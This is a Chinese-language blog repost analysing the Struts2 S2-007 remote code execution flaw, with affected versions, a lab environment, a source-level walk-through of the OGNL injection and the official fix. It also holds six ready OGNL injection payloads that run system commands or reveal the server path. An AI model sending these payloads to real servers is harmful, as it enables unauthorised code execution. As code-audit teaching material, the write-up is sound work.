记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Java代码审计之Struts2-007(五)

2020-07-13 12:33

本系列文章将详细分析 Java 流行框架 Struts2 的历史漏洞,今后关于 Struts2 新的漏洞分析,也将更新于 Struts2-Vuln 项目上。该系列仅是笔者初学 Java代码审计 的一些记录,也希望能够帮助到想学习 Java代码审计 的朋友 。如有任何问题,欢迎 issue 。分析文章均来自 个人博客 ,转载请注明出处。

漏洞概要

Struts2-007是一个远程代码执行漏洞。

影响版本: Struts 2.0.0 - Struts 2.2.3 。更多详情可参考官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007

漏洞环境

Apache Tomcat/8.5.47+struts-2.0.8

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip

https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

漏洞分析

Struts2 中,可以将 HTTP 请求数据注入到实际业务 Action 的属性中。而这些属性可以是任意类型的数据,通过 HTTP 只能获取到 String 类型数据,所以这里存在类型转换。我们可以通过 xml 文件,来定义转换规则。例如,我这里定义了一个 UserAction 类,其有一个 Integer 类型的 age 属性,这里我们让其数值范围在 1-150

如果此时我们将 age 属性值设置成一个字符串,那么就会引发类型转换错误。Struts2 会将用户输入的数据经过处理再次返回给用户。

而在这个处理的过程中,就存在 OGNL 表达式注入。接下来,我们来看看具体的问题代码。我们先在 ConversionErrorInterceptor:intercept() 方法中打上断点(ConversionErrorInterceptor 类是专门用来处理类型转换失败的拦截器)

当发生类型转换错误时,程序会将用户输入的值存入 fakie 变量。在存入之前,会先将值用 getOverrideExpr 方法处理,我们跟进该方法。

getOverrideExpr 方法中,会在用户输入的值两边拼接上单引号,然后再将值存入刚刚的 fakie 变量。

接着程序会把 fakie 变量存入 OgnlValueStack.overrides 变量中

然后在解析到 Struts2 结束标签时,会将用户输入值经过 OGNL 执行并返回。如果先前 OgnlValueStack.overrides 存储过相关字段,则会先从 OgnlValueStack.overrides 中取出相关值,然后再通过 OGNL 执行,代码执行也就发生在此处。

我们来尝试弹个计算器:

# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

漏洞修复

下图右边为官方修复后的代码(左图xwork-2.0.3,右图为xwork-2.2.3.1),可以看到新版本使用 org.apache.commons.lang.StringEscapeUtils.escapeJava() 来过滤字符串。

参考

https://cwiki.apache.org/confluence/display/WW/S2-007


知识来源: xz.aliyun.com/t/7971

阅读:16188 | 评论:0 | 标签:java 审计

想收藏或者和大家分享这篇好文章→复制链接地址

“Java代码审计之Struts2-007(五)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云